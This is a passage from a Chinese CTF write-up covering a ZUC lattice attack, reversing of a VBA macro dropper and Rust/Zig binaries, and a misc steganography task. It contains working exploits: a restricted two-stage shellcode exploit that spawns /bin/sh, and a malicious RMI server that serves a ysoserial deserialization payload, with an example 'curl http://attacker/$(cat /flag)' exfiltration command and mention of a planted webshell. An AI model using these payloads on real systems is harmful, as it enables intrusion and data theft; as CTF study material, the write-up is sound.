    SSS[5],SSS[6],SSS[7],SSS[9],SSS[10],SSS[12]>>15,SSS[13],
    SSS[15],SSS[16],SSS[18],SSS[19],SSS[20],SSS[21],R[37][0]
    1367513634,2017055772,1040383031,461605122,610112209,17147,
    53734345,401980153,1458596825,386360470,1093959902,352977551,
    232397773,4062894429
  2. 密文 C(msg 已知,所以 keystream = C ^ msg 完全已知)。

LFSR 初值如何编码 key / iv

def make_uint31(a, b, c):
    return ((a << 23) & 0x7fffffff) | ((b << 8) & 0x7fffffff) | c

self.lfsr = [make_uint31(key[i], D[i], iv[i]) for i in range(16)]

即每个初始 LFSR 单元为 31 bit:

init[i] = key[i]·2^23  |  D[i]·2^8  |  iv[i]
          └─ 高8位 ─┘    └ 中15位 ┘   └ 低8位 ┘

其中 D[i] 是已知常量。所以只要恢复出 16 个初始 LFSR 单元 init[0..15],就能直接读出 key 与 iv。

3.漏洞点

标准 ZUC 在初始化阶段会把非线性函数 F 的输出 w >> 1 反馈进 LFSR,使初始化不可逆。本题 zuc_init:

def zuc_init(self, key, iv):
    self.lfsr = [make_uint31(key[i], D[i], iv[i]) for i in range(16)]
    self.r = [0, 0]
    for i in range(32):
        self.bit_reorganization()
        w = self.f()                       # 计算了 w,
        self.lfsr_append(self.lfsr_next()) # w 被丢弃;LFSR 只做纯线性更新

w = self.f() 只更新了非线性寄存器 r,其返回值 没有反馈进 LFSR。

整个 LFSR 序列(初始化 32 轮 + 密钥流阶段)服从同一条 GF(2³¹−1) 上的线性递推,因此 32 轮初始化可逆。

GF(p) 上 p = 2³¹−1(梅森素数)。rotl_uint31(x,k) 等价于乘 2^k mod p,addition_uint31 即模 p 加法,所以 lfsr_next 是线性的:

t[n] = 257·t[n-16] + 2^20·t[n-12] + 2^21·t[n-6] + 2^17·t[n-3] + 2^15·t[n-1]   (mod p)

(系数对应 lfsr[0],lfsr[4],lfsr[10],lfsr[13],lfsr[15],其中 257 = 1 + 2^8。)

把整条序列记为 t[0], t[1], ...,则:

  • t[0..15] = init[0..15](编码 key/iv);
  • 32 轮初始化后状态 SSS[0..15] = t[32..47];
  • gift 里 SSS[k] = t[32+k]。

4.题解

1. 把 gift 写成关于 init 的线性方程

每个 t[n] 都是 init[0..15] 的已知线性组合 f_n(用递推从基向量推出)。gift 给出的 12 个完整值映射到 t[37..53]:

giftt 下标giftt 下标
SSS[5]t[37]SSS[15]t[47]
SSS[6]t[38]SSS[16]t[48]
SSS[7]t[39]SSS[18]t[50]
SSS[9]t[41]SSS[19]t[51]
SSS[10]t[42]SSS[20]t[52]
SSS[13]t[45]SSS[21]t[53]

得到 12 个方程 f_n · init ≡ value (mod p),在 16 个未知数 init[0..15] 上秩为 11,解空间 5 维。

2. 用 key/iv 的字节结构补足(格规约)

代入 init[i] = key[i]·2^23 + D[i]·2^8 + iv[i](D[i] 已知),方程变成关于 32 个字节未知量 key[0..15], iv[0..15] ∈ [0,255] 的同余式:

Σ_i (f_n[i]·2^23)·key[i] + Σ_i f_n[i]·iv[i] ≡ value_n − Σ_i f_n[i]·D[i]·2^8   (mod p)

11 个独立方程 × 31 bit ≈ 341 bit 约束,远大于 256 bit 的未知量 → 字节范围内的解唯一。用 Kannan-embedding 构造格 + LLL 求最短向量即可解出全部 32 个字节。

5.exp

from fractions import Fraction as Fr

p = 2**31 - 1
D = [0x44D7,0x26BC,0x626B,0x135E,0x5789,0x35E2,0x7135,0x09AF,
     0x4D78,0x2F13,0x6BC4,0x1AF1,0x5E26,0x3C4D,0x789A,0x47AC]

def build_func(N):
    func = [[1 if j == i else 0 for j in range(16)] for i in range(16)]
    for n in range(16, N + 1):
        a, b, c, d, e = func[n-16], func[n-12], func[n-6], func[n-3], func[n-1]
        func.append([(257*a[j] + (1<<20)*b[j] + (1<<21)*c[j]
                      + (1<<17)*d[j] + (1<<15)*e[j]) % p for j in range(16)])
    return func
FUNC = build_func(60)

def lll(B, delta=Fr(99, 100)):
    B = [list(map(int, r)) for r in B]; n = len(B); dim = len(B[0])
    mu = [[Fr(0)]*n for _ in range(n)]; cb = [Fr(0)]*n
    Bs = [[Fr(0)]*dim for _ in range(n)]
    def gso():
        for i in range(n):
            v = [Fr(x) for x in B[i]]
            for j in range(i):
                if cb[j] == 0: mu[i][j] = Fr(0); continue
                mu[i][j] = Fr(sum(Fr(B[i][k])*Bs[j][k] for k in range(dim)))/cb[j]
                v = [v[k]-mu[i][j]*Bs[j][k] for k in range(dim)]
            Bs[i] = v; cb[i] = sum(x*x for x in v)
    gso()
    def red(k, l):
        if abs(mu[k][l]) <= Fr(1, 2): return
        q = round(mu[k][l])
        if q == 0: return
        B[k] = [B[k][t]-q*B[l][t] for t in range(dim)]
        for j in range(l): mu[k][j] -= q*mu[l][j]
        mu[k][l] -= q
    k = 1
    while k < n:
        red(k, k-1)
        if cb[k] >= (delta - mu[k][k-1]**2)*cb[k-1]:
            for l in range(k-2, -1, -1): red(k, l)
            k += 1
        else:
            m = mu[k][k-1]; B[k], B[k-1] = B[k-1], B[k]
            ncb = cb[k] + m*m*cb[k-1]
            if ncb == 0: gso()
            else:
                mu[k][k-1] = m*cb[k-1]/ncb; nck = cb[k-1]*cb[k]/ncb
                for j in range(k-1): mu[k][j], mu[k-1][j] = mu[k-1][j], mu[k][j]
                cb[k-1], cb[k] = ncb, nck
                for i in range(k+1, n):
                    t = mu[i][k]
                    mu[i][k] = mu[i][k-1] - m*t
                    mu[i][k-1] = t + mu[k][k-1]*mu[i][k]
            k = max(k-1, 1)
    return B

GIFT = [1367513634,2017055772,1040383031,461605122,610112209,17147,53734345,
        401980153,1458596825,386360470,1093959902,352977551,232397773,4062894429]
full = {5:GIFT[0],6:GIFT[1],7:GIFT[2],9:GIFT[3],10:GIFT[4],13:GIFT[6],15:GIFT[7],
        16:GIFT[8],18:GIFT[9],19:GIFT[10],20:GIFT[11],21:GIFT[12]}

A, b = [], []
for k in sorted(full):
    f = FUNC[32 + k]; row = [0]*32
    for i in range(16):
        row[i]    = (f[i]*(1<<23)) % p   # key[i] 系数
        row[16+i] = f[i] % p             # iv[i]  系数
    A.append(row)
    b.append((full[k] - sum(f[i]*D[i]*(1<<8) for i in range(16))) % p)

m, n = len(A), 32
bp = [(b[i] - 128*sum(A[i])) % p for i in range(m)]   # 中心化 x = 128 + e
K, M0, dim = 1 << 20, 1, n + m + 1
B = []
for j in range(n):
    r = [0]*dim; r[j] = 1
    for i in range(m): r[n+i] = K*A[i][j]
    B.append(r)
for i in range(m):
    r = [0]*dim; r[n+i] = K*p; B.append(r)
tr = [0]*dim
for i in range(m): tr[n+i] = -K*bp[i]
tr[n+m] = M0; B.append(tr)

for row in lll(B):
    if all(row[n+i] == 0 for i in range(m)) and abs(row[n+m]) == M0:
        sgn = 1 if row[n+m] == M0 else -1
        x = [sgn*row[j] + 128 for j in range(n)]
        if all(0 <= v < 256 for v in x):
            key, iv = bytes(x[:16]), bytes(x[16:])
            secret = iv + key
            print("flag:", secret.decode())
            break

flag

flag: DASCTF{ez_ez_zuc_problem_!!!!!!}

RE

1. doccrack

1.题面

“新东西玩过了,来玩点老东西吧~”

附件:protected_secret.docm

### 2.分析

.docm是启用宏的word文档;根据题面推测与 vba 病毒逆向有关

排查 word/vbapproject.bin

$ file protected_secret.docm
Microsoft Word 2007+

$ unzip -l protected_secret.docm
...
   476160  word/vbaProject.bin      <- VBA 工程(OLE 复合文档)
    57320  word/document.xml        <- 正文(乱码干扰,无关)
...

settings.xml 无文档保护、core.xml 作者 SakuraiCora。

3.题解

1.提取vba源码

ENTRIES:
  Root Entry
  VBA/
  ThisDocument   size 420482
  _VBA_PROJECT   size 47544
  dir            size 515
  PROJECT        size 441

对ThisDocument 流暴力定位压缩容器偏移(扫描 0x01 头并尝试解压,命中 Attribute VB_Name),在 offset 360361 解出 169759 字节源码。

CompressedChunk 的 end = i + size - 2(chunk size 含 2 字节头);CopyToken 的 BitCount = max(ceil(log2(diff)), 4)。

2.还原autoopen逻辑

Sub AutoOpen()
    ' 1) 输入 flag,每个字符 XOR 7
    inflag = InputBox("Give me your flag", "Hacked_by_??????")
    Result = ""
    For i = 1 To Len(inflag)
        Result = Result & Chr(Asc(Mid(inflag, i, 1)) Xor 7)
    Next i

    ' 2) 一堆 base64 变量拼成 xpkdb,写入 temp1
    tempfile.WriteLine xpkdb

    ' 3) certutil 连续两次 -decode 还原出 temp.exe
    batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe"

    ' 4) 用 XOR 后的 Result 作为命令行参数执行
    batFile.WriteLine "temp.exe " & """" & Result & """"

    ' 5) temp.exe 输出 "good" 即 flag 正确
    If output = "good" Then MsgBox "good!!!"
End Sub

3. 重建 temp.exe

解析 .bas 中所有赋值与拼接表达式,递归求值出 xpkdb,再做两次 base64 解码(对应 certutil 两次 -decode):

b64    = resolve('xpkdb')          # 112872 bytes
layer1 = base64.b64decode(b64)     # 84652 bytes -> 'TVqQAAMA...' (又一层 base64 文本)
layer2 = base64.b64decode(layer1)  # 63488 bytes -> 'MZ...'  PE!
open('temp.exe','wb').write(layer2)
$ file temp.exe
PE32+ executable (console) x86-64, 10 sections

4.逆temp.exe

用的objdump ;找 no way!!! / good 字符串引用

; 1) 硬编码 54 个期望 DWORD([rbp+0x10] 起,步长 4)
mov DWORD PTR [rbp+0x10], 0x10c0
mov DWORD PTR [rbp+0x14], 0x1180
...                                  ; 共 54 个,最后 [rbp+0xe4]=0x1e80

cmp DWORD PTR [rbp+0x3c0], 0x2       ; 必须有 1 个命令行参数 (argc==2)
jne -> "no way!!!"

; 2) 取 argv[1](即 Result),逐字符 << 6 存入临时数组
movsx eax, BYTE PTR [argv1 + i]
shl   eax, 6
mov   DWORD PTR [rbp+i*4+0x110], eax

; 3) 逐项比较 hardcoded[i] == (Result[i] << 6)
cmp DWORD PTR [rbp+i*4+0x10], ecx
jne -> "no way!!!"
; 全部相等 -> "good"

校验关系:hardcoded[i] == (Result[i] << 6)。

4.exp

Result[i] = hardcoded[i] >> 6
flag[i]   = Result[i] XOR 7        ; 抵消 VBA 里的 XOR 7
v = [0x10c0,0x1180,0x1500,0x1100,0x14c0,0x1040,0x1f00,0x1440,0x1940,0x1980,
     0x1600,0x0d80,0x1d00,0x1600,0x18c0,0x1980,0x1a40,0x1800,0x1880,0x1d40,
     0x1a00,0x1c80,0x1d00,0x0980,0x0980,0x0980,0x1600,0x1140,0x0d80,0x1c00,
     0x1980,0x1d40,0x1880,0x1600,0x0dc0,0x1840,0x1600,0x1280,0x1980,0x1900,
     0x1d40,0x0dc0,0x1600,0x1440,0x0d80,0x1d40,0x1c80,0x0c80,0x1880,0x1d00,
     0x0980,0x0980,0x0980,0x1e80]
print(''.join(chr((x >> 6) ^ 7) for x in v))

5.flag

DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}

2. simple-rust

1.题面

真的是简单的RUST

main.exe main.pdb main.exe.id

2,分析

提取字符串,找到交互提示:

pls input flag:
you are wrong!
you are right!

pls input flag: 与 you are wrong! 没有直接被 lea 引用,在 Rust 的 core::fmt::Arguments 静态结构里;用 Python 算出它们在 .rdata 的虚拟地址:

pls input flag:  va = 0x140027979
you are wrong!   va = 0x140027a18

再在反汇编里搜索附近的引用,锁定校验函数所在区域。

1.pdb还原符号

llvm-symbolizer --obj=main.exe --demangle < func_addrs.txt

映射:

地址符号
0x140007730main(Rust 运行时 shim,调用用户 main)
0x140006bd0用户 main
0x140006e00变换 T1
0x1400072d0变换 T2
0x1400043c0str::trim
0x140004130str::to_owned
0x140005f20<String as PartialEq<&str>>::eq

main(0x140007730)只是把用户闭包 0x140006bd0 传给 lang_start。


2.校验主流程(0x140006bd0)

反汇编还原出的:

print!("pls input flag:\n");
let mut s = String::new();
std::io::stdin().read_line(&mut s).unwrap();
let s = s.trim().to_owned();

let out1 = T1(&s, 4);      // 0x140006e00,参数 4
let out2 = T2(&out1, 4);   // 0x1400072d0,参数 4

if out2 == "9VL}CSADTF{&b9Pa8SSfZG!VEZ6eEDbm2CBfNbqr" {
    println!("you are right!");
} else {
    println!("you are wrong!");
}

比较目标(.rdata @ 0x1400279c0,长度 40):

9VL}CSADTF{&b9Pa8SSfZG!VEZ6eEDbm2CBfNbqr

3.变换 T1 —— 分块翻转(0x140006e00)

涉及的库函数:chars → collect::<Vec<char>> → len → step_by → slice::swap。

逐指令还原出的逻辑:

  • 把字符串收集成 Vec<char>,len = 40
  • 步长 step = arg * 2 = 8,外层 (0..len).step_by(8) → base ∈ {0,8,16,24,32}
  • 窗口 W = min(len-base, arg) = 4
  • 内层 for j in 0..W/2 { vec.swap(base+j, base+W-1-j) }

即:把字符按每 8 个一组,翻转每组的前 4 个字符(后 4 个保持不动)。

def T1(s):
    a = list(s); n = len(a); base = 0
    while base < n:
        W = min(n - base, 4)
        for j in range(W // 2):
            a[base+j], a[base+W-1-j] = a[base+W-1-j], a[base+j]
        base += 8
    return ''.join(a)

T1 是对合:执行两次还原原串。

4. 变换 T2 —— 循环右移 4(0x1400072d0)

涉及的库函数:Index / IndexMut / Range::next,核心是经典的 cycle-leader数组旋转算法。

还原逻辑:

  • shift = arg % len = 4
  • 用 temp 暂存、沿 next = (i + shift) % n 的链逐个搬运,0..n 的 Range 充当全局搬运计数器
  • 效果:out[(i + 4) % n] = in[i],即整体循环右移 4 位
def T2(s, k=4):
    n = len(s); out = [None] * n
    for i, c in enumerate(s):
        out[(i + k) % n] = c
    return ''.join(out)

3.解flag

已知 T2(T1(flag)) == TARGET,逐层求逆:

out2 = TARGET
out1 = rotate_left_4(TARGET)          # T2 逆: out1[p] = TARGET[(p+4) % n]
flag = T1(out1)                       # T1 是对合,再做一次即为逆
TARGET = "9VL}CSADTF{&b9Pa8SSfZG!VEZ6eEDbm2CBfNbqr"
n = len(TARGET)                       # 40

out1 = ''.join(TARGET[(p + 4) % n] for p in range(n))
flag = T1(out1)
print(flag)                           # DASCTF{&aP9b8SSfV!GZEZ6embDE2CBfrqbN9VL}

assert T2(T1(flag)) == TARGET

4.flag

DASCTF{&aP9b8SSfV!GZEZ6embDE2CBfrqbN9VL}

3.zistel

1.题面

zig 语言的反编译有点难,flag 的提交格式为 DASCTF{xxxx}

zistel.elf

2.分析

$ file zistel
zistel: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
        statically linked, stripped

静态、stripped,且是 Zig 产物(Linker: LLD 17.0.6、一堆 Utf8* / OutOfMemory 之类的 Zig 标准库错误名)。.text 只有 0x168d(约 5.7KB)

关键字符串与数据段(objdump -s):

.data  1004790  6c6f7665 00000000 ...           "love"           ← 密钥
.data  10048b0  "Input Flag: " "Correct!" "Try again?"           ← 交互提示
.rodata 10001e0 00 00 00 00 | 0c 00 00 00 | 08 .. | 04 ..        ← 比较偏移 {0,12,8,4}
.rodata 1000730 58 31 29 33 11 02 76 60 46 5f 18 42 29 6f 74 63  ← 目标密文(16B)

伪代码:

print("Input Flag: ");
read_line(buf);               // 只取前 16 字节,多余忽略
encrypt(out, "love", buf);    // 0x10024a4,密钥 "love"
// 比较:offsets = {0,12,8,4}
diff = 0;
for (off in {0,12,8,4})
    diff |= *(u32*)(out+off) ^ *(u32*)(0x1000730+off);
puts(diff==0 ? "Correct!" : "Try again?");

对应汇编(比较循环 0x10022e3):

vmovaps ymm0,[0x10001e0]          ; 取 4 个偏移 {0,12,8,4}
mov     rdx,[rsp+rax*8+0x20]      ; rdx = 偏移
mov     esi,[rsp+rdx+0x60]        ; 计算出的密文[off]
xor     esi,[rdx+0x1000730]       ; ^ 目标密文[off]
or      ecx,esi                   ; 累积

20 个 32 位轮密钥 rk[0..19]:

u32 k = u32_le("love");          // = 0x65766f6c
rk[0] = k    ^ 0xDEADBEEF;       //   0xBBDBD183
rk[1] = rk[0]^ 0xBEEFDEAD;       //   0x05340F2E
for (i=2; i<20; i++)
    rk[i] = rk[i-1] ^ rk[i-2];   // 斐波那契式异或

因为 rk[2] = rk[1]^rk[0] = 0xBEEFDEAD,之后序列以 3 为周期循环:

bbdbd183, 05340f2e, beefdead,  bbdbd183, 05340f2e, beefdead,  ...

轮函数 F(0x100261b)

u32 F(u32 key, u32 R) {
    u32 t = R ^ key;
    u8  tb[4] = { t, t>>8, t>>16, t>>24 };       // 小端拆字节 (0x100271b)
    u8  kb[4] = { key, key>>8, key>>16, key>>24 };
    for (int i = 0; i < 4; i++) {
        int j = kb[i] & 3;                       // S-box: x -> x&3
        swap(tb[i], tb[j]);                      // 依密钥字节做就地字节置换
    }
    u32 res = tb[0] | tb[1]<<8 | tb[2]<<16 | tb[3]<<24;   // 小端拼回 (0x10026f0)
    return res ^ key;
}
  • 拆字节 0x100271b:shrx 按 0/8/16/24 移位 → 小端,tb[0] 是最低字节。
  • 拼字节 0x10026f0:倒序读 4 字节构建 b0|b1<<8|b2<<16|b3<<24 → 小端逆操作。
  • 置换表 i&3(0x100266b 处构造 table[256],table[i]=i&3)。置换是 就地、顺序 进行的,i 与 j 之间存在依赖

Feistel 加密(0x10024a4)

16 字节按两个 8 字节 block 处理;每个 block:

u32 L = u32_le(block[0:4]);     // ecx
u32 R = u32_le(block[4:8]);     // ebx
for (int n = 0; n < 20; n++) {  // cmp r13,0x14
    u32 nl = R;
    u32 nr = L ^ F(rk[n], R);   // xor eax,r12d (r12=L)
    L = nl; R = nr;
}
// 输出字节序:先存 R 再存 L
out_block = LE(R) || LE(L);     // 0x100252e: 先写 ebx(R) 再写 ecx(L)

标准 Feistel:newL = R,newR = L ^ F(rk,R);末轮不交换,但输出时是 R||L。

3.解题

已知密文 block,R20 = u32_le(c[0:4])、L20 = u32_le(c[4:8]),逐轮回退:

for n = 19 .. 0:
    Rn = L_{n+1}
    Ln = R_{n+1} ^ F(rk[n], Rn)
明文 = LE(L0) || LE(R0)

目标密文拆成两块:

blockbytesR20L20
058 31 29 33 11 02 76 600x332931580x60760211
146 5f 18 42 29 6f 74 630x42185f460x63746f29

4.exp

MASK = 0xFFFFFFFF
u32  = lambda b: b[0] | b[1]<<8 | b[2]<<16 | b[3]<<24
le   = lambda x: bytes([x&0xff,(x>>8)&0xff,(x>>16)&0xff,(x>>24)&0xff])

k = u32(b"love")                      # 0x65766f6c
rk = [k ^ 0xDEADBEEF, (k ^ 0xDEADBEEF) ^ 0xBEEFDEAD]
for i in range(2, 20):
    rk.append(rk[-1] ^ rk[-2])
rk = [x & MASK for x in rk]

def F(key, R):
    t  = (R ^ key) & MASK
    tb = [t&0xff, (t>>8)&0xff, (t>>16)&0xff, (t>>24)&0xff]
    kb = [key&0xff, (key>>8)&0xff, (key>>16)&0xff, (key>>24)&0xff]
    for i in range(4):
        j = kb[i] & 3
        tb[i], tb[j] = tb[j], tb[i]
    return ((tb[0]|tb[1]<<8|tb[2]<<16|tb[3]<<24) ^ key) & MASK

def dec(c):
    R, L = u32(c[0:4]), u32(c[4:8])           # R20, L20
    for n in range(19, -1, -1):
        Rn = L
        Ln = (R ^ F(rk[n], Rn)) & MASK
        L, R = Ln, Rn
    return le(L) + le(R)

target = bytes.fromhex("5831293311027660465f1842296f7463")
pt = dec(target[:8]) + dec(target[8:])
print(pt.decode())                            # z1g_I3_S0_Coo0l!
print("DASCTF{%s}" % pt.decode())

5.flag

DASCTF{z1g_I3_S0_Coo0l!}

PWN

1. strange_shellcode

1.题面

一个限制了字符规则和长度的shellcode你会构造吗?

2. 程序分析

逆向 main可还原出如下逻辑:

void main() {
    init();                       // setvbuf + alarm(0x30)
    // PROT_WRITE|PROT_EXEC = 0x6, MAP_PRIVATE|MAP_ANON = 0x22
    char *buf = mmap((void*)0x10000, 0x1000, 6, 0x22, 0, 0);   // 固定 RWX 页

    puts("Please tell me something :");

    // ① 逐字节读入,最多 16 字节,读到 '\0' 提前停止
    for (int i = 0; i <= 0xf; i++) {
        read(0, buf + i, 1);
        if (buf[i] == 0) break;
    }

    // ② 字符过滤:每个字节都要 check() 通过,否则 "Wrong!" 退出
    for (int j = 0; buf[j]; j++) {
        if (!check(buf[j])) { puts("Wrong!"); _exit(-1); }
    }

    // ③ 直接执行这段 shellcode
    ( (void(*)())buf )();         // call rax,  rax = 0x10000
}
  • shellcode 最长 16 字节,且不能含 \x00(读循环遇 0 就停)。
  • 每个字节都要过 check() 过滤(包括 ModR/M、立即数等所有字节)。
  • 代码页是 0x10000,可写可执行。

1.过滤函数 check()

int check(char c) {
    if ((int8_t)c <= 0x0f) c += 0x50;          // 控制字节 +0x50
    if ('a' <= c && c <= 'z') c -= 0x20;       // 转大写
    // allow = "Plz give me a gift, thx u ^_^"
    for (i in allow) {
        char a = allow[i];
        if ('a' <= a && a <= 'z') a -= 0x20;   // allow 也转大写
        if (c == a) return 1;                  // 命中 -> 合法
    }
    return 0;                                   // 未命中 -> 非法
}

合法字符集 = 字符串 "Plz give me a gift, thx u ^_^"里的字符: P L Z ' ' G I V E M A F T , H X U ^ _

那条 if ((int8_t)c <= 0x0f) c += 0x50; 是hint:它把低位控制字节映射成字母,于是这些原始字节也合法:

原始字节+0x50 后字符
0x000x50P
0x040x54T
0x050x55U
0x060x56V
0x080x58X
0x0a0x5aZ
0x0e0x5e^
0x0f0x5f_

2.合法原始字节表

枚举 0–255,得到 49 个可用字节(去掉 \x00):

04 05 06 08 0a 0e 0f 20 2c 41 45 46 47 48 49 4c 4d
50 54 55 56 58 5a 5e 5f 61 65 66 67 68 69 6c 6d 70
74 75 76 78 7a d0 dc f1 f5 f6 f7 f8 f9 fc fd

有用的指令字节:

  • 0f 05 = syscall (0f→_,05→U,合法)
  • push:50(rax) 54(rsp) 55(rbp) 56(rsi)
  • pop:58(rax) 5a(rdx) 5e(rsi) 5f(rdi)
  • REX 前缀:41 45 46 47 48 49 4c 4d(于是 41 56 = push r14 等也可用)
  • 运算:04(add al) 05(add eax) 2c(sub al) 68(push imm32) f7(not/neg)…

注意:寄存器直接寻址的 ModR/M(0xc0–0xff)几乎都不在表里,所以 xor eax,eax(31 c0) 这类两操作数指令用不了


3. 利用

16 字节塞不下 execve("/bin/sh"),所以走二段式:

用一段 ≤16 字节的受限 stage-1 调用 read(),把一段不受限的 stage-2(execve("/bin/sh"))读进同一个 RWX 页,再 fall-through 执行。

要调用 read(0, buf, n) 需要:rax=0、rdi=0、rsi=目标地址、rdx=长度。

而在受限字节里构造一个 0 非常贵(push imm32; pop rax; add eax,-imm 要 11 字节),16 字节装不下。所以必须利用 call rax 瞬间已有的寄存器值。

1.取寄存器状态

用 gdb 在 call rax处断下,dump 寄存器。(调用的strlen 等 libc 代码会影响 scratch 寄存器;r8–r15的残留也和 libc/loader 有关)。

用题目带的 glibc 2.31 复刻环境:

# 1. 确认版本
strings libc.so.6 | grep "GNU C Library"     # -> glibc 2.31-0ubuntu9.9

# 2. 拿配套 ld(点版本 ABI 兼容,strlen/loader 代码一致)
wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.31-0ubuntu9.18_amd64.deb
dpkg-deb -x libc6_2.31-0ubuntu9.18_amd64.deb out
cp out/lib/x86_64-linux-gnu/ld-2.31.so .

# 3. patchelf 让 pwn 用题目 libc 跑
patchelf --set-interpreter ./ld-2.31.so --set-rpath . pwn

gdb 断在 call rax,glibc 2.31 下的寄存器:

rax = 0x10000        ; mmap base = buf
rsi = 0x1000f        ; = base + 15
rdx = 0x10           ; = 16
rdi = base+0x2004    ; 指向 allow 字符串
rbp = 栈地址(大正数)
r8  = 27   r9 = 0   r10 = 34   r14 = 0   r15 = 0
  1. rsi = base + 15:如果 stage-1 恰好 15 字节且 syscall 是最后两字节,那么 syscall 执行完 RIP 正好等于 base+15 = rsi —— 也就是 stage-2 刚写入的位置。不需要任何 rsi 设置, fall-through
  2. r14 = 0(在 2.31 上),而 push r14 = 41 56 两字节都合法(r9/r15 虽然也是 0,但 push r9=41 51、push r15=41 57 含非法字节)。于是 push r14;pop rax 三字节就能拿到 rax=0。

2.Stage-1(15 字节)

56 5e 56 5e 56 5e   push rsi; pop rsi   (×3)   ; 空操作填充 -> 总长 15,且保持 rsi 不变
41 56               push r14                   ; r14 = 0
58                  pop  rax                   ; rax = 0   (SYS_read)
50                  push rax
5f                  pop  rdi                   ; rdi = 0   (stdin)
55                  push rbp
5a                  pop  rdx                   ; rdx = 大数 (count,rbp 是栈地址)
0f 05               syscall                    ; read(0, rsi=base+15, big)

15 字节,全部合法,无 \x00。syscall 在偏移 13–14,执行后 RIP=base+15=rsi=stage-2 起点。

3.Stage-2(不受限,execve(“/bin//sh”))

48 31 d2                          xor rdx,rdx
48 31 f6                          xor rsi,rsi
56                                push rsi            ; 字符串结尾的 NULL(高地址)
48 bb 2f62696e2f2f7368            movabs rbx,"/bin//sh"
53                                push rbx
48 89 e7                          mov rdi,rsp
48 31 c0                          xor rax,rax
b0 3b                             mov al,0x3b         ; SYS_execve
0f 05                             syscall

数据投递

发送 stage1 + b"\x00" + stage2 一次即可:

  • 程序第一个读循环读 15 字节 stager + 1 个 \x00(i=15 处遇 0 break),刚好 16 字节,停止;
  • 剩下的 stage2 留在内核缓冲区;
  • stager 自己的 read() 把 stage2 读到 base+15;
  • syscall 返回,RIP=base+15,执行 stage2 → 起 shell。

4. EXP

import sys, socket, threading

stage1 = bytes([0x56,0x5e,0x56,0x5e,0x56,0x5e,   # push rsi;pop rsi x3 (pad -> 15)
                0x41,0x56,                        # push r14 (=0 on glibc 2.31)
                0x58,                             # pop rax -> 0 (SYS_read)
                0x50,0x5f,                        # push rax;pop rdi -> 0
                0x55,0x5a,                        # push rbp;pop rdx -> big
                0x0f,0x05])                       # syscall

stage2 = bytes([0x48,0x31,0xd2,0x48,0x31,0xf6,0x56,
                0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,
                0x53,0x48,0x89,0xe7,0x48,0x31,0xc0,0xb0,0x3b,0x0f,0x05])

PAYLOAD = stage1 + b"\x00" + stage2

host, port = sys.argv[1], int(sys.argv[2])
s = socket.create_connection((host, port)); s.settimeout(8)
buf = b""
while b"something :" not in buf:
    buf += s.recv(4096)
s.settimeout(None)
s.sendall(PAYLOAD)

def reader():
    while True:
        d = s.recv(4096)
        if not d: break
        sys.stdout.write(d.decode(errors="replace")); sys.stdout.flush()
threading.Thread(target=reader, daemon=True).start()
for line in sys.stdin:
    s.sendall(line.encode())

web

easyspring

1.附件信息

给了 WEB—INF 源码;

分析了下写JRMI protocol magic去打jdbc;然后传哥斯拉

2.exp

import requests

target = "http://ip:port"

params = {
    "driver": "org.h2.Driver",
    "url": "jdbc:h2:mem:test"
}

r = requests.get(target, params=params, timeout=5)

print("Status:", r.status_code)
print(r.text)
import socket
import sys
import struct
import subprocess
import os
import threading
import time

RMI_HEADER = b'\x4a\x52\x4d\x49'  # JRMI protocol magic
RMI_VERSION = b'\x00\x02'  # JRMP version 2
SINGLE_OP_PROTOCOL = b'\x4b'
STREAM_PROTOCOL = b'\x4d'
MULTIPLEX_PROTOCOL = b'\x4e'

CALL = 0x50
RETURN_DATA = 0x51
PING = 0x52

def generate_payload(command):
    jar_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "ysoserial.jar")
    result = subprocess.run(
        ["java", "-jar", jar_path, "CommonsCollections6", command],
        capture_output=True,
        timeout=30
    )
    if result.returncode != 0:
        print(f"ysoserial error: {result.stderr.decode()}")
        sys.exit(1)
    return result.stdout

def build_rmi_response(serialized_obj):
    return serialized_obj

def handle_rmi_connection(client_socket, serialized_payload):
    try:
        data = client_socket.recv(4096)
        print(f"Received {len(data)} bytes from target:")
        print(f"    {data[:200].hex()}")

        response = bytearray()
        response.append(0x4b)
        response.append(0x51)  #
        response.extend(serialized_payload)

        print(f"Sending {len(response)} byte RMI response...")
        client_socket.send(bytes(response))
        print(f"Response sent!")

        try:
            more = client_socket.recv(4096)
            print(f"Additional data: {len(more)} bytes")
        except:
            pass

    except Exception as e:
        print(f"Error handling connection: {e}")
    finally:
        client_socket.close()

def start_server(host, port, command):
    print(f"Generating CC6 payload for command: {command}")
    serialized_payload = generate_payload(command)
    print(f"Generated {len(serialized_payload)} byte payload")

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((host, port))
    server.listen(5)

    print(f"RMI exploit server listening on {host}:{port}")
    print(f"JDBC URL: jdbc:tsserver://{host}:{port}/")
    print(f" Waiting for connections...")

    while True:
        client, addr = server.accept()
        print(f"[+] Connection from {addr}")
        t = threading.Thread(target=handle_rmi_connection, args=(client, serialized_payload))
        t.start()

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <host> <port> <command>")
        print(f"Example: {sys.argv[0]} 0.0.0.0 1099 'curl http://attacker/$(cat /flag)'")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2])
    command = sys.argv[3]

    start_server(host, port, command)

忘记赛后复现了;没存flag

misc

easy_hide

1.TL;DR

PNG 的 IEND 之后有一个 加密的 ZIP,里面是 flag.txt;解压密码用 base64 藏在 ZIP 文件的最末尾。三步:

  1. 从 IEND 后切出 ZIP;
  2. ZIP 尾部的 base64 解出密码 pass_is_daaisrcsthfugaoiod;
  3. 用 AES 解密提取 flag.txt。

2.分析

file easy_hide.png
# PNG image data, 832 x 560, 8-bit/color RGBA, non-interlaced

strings -n 4 easy_hide.png | grep -iE 'flag|ctf|\{.*\}'
# ... 出现两次 flag.txt 存在有附加的归档文件

定位 IEND 之后的附加数据

PNG 以 IEND 块结束(块长度 0,加 4 字节类型 + 4 字节 CRC)。检查其后的尾随字节:

data = open("easy_hide.png", "rb").read()
idx  = data.rfind(b"IEND")
trailing = data[idx + 8:]          # 跳过 "IEND" + 4 字节 CRC
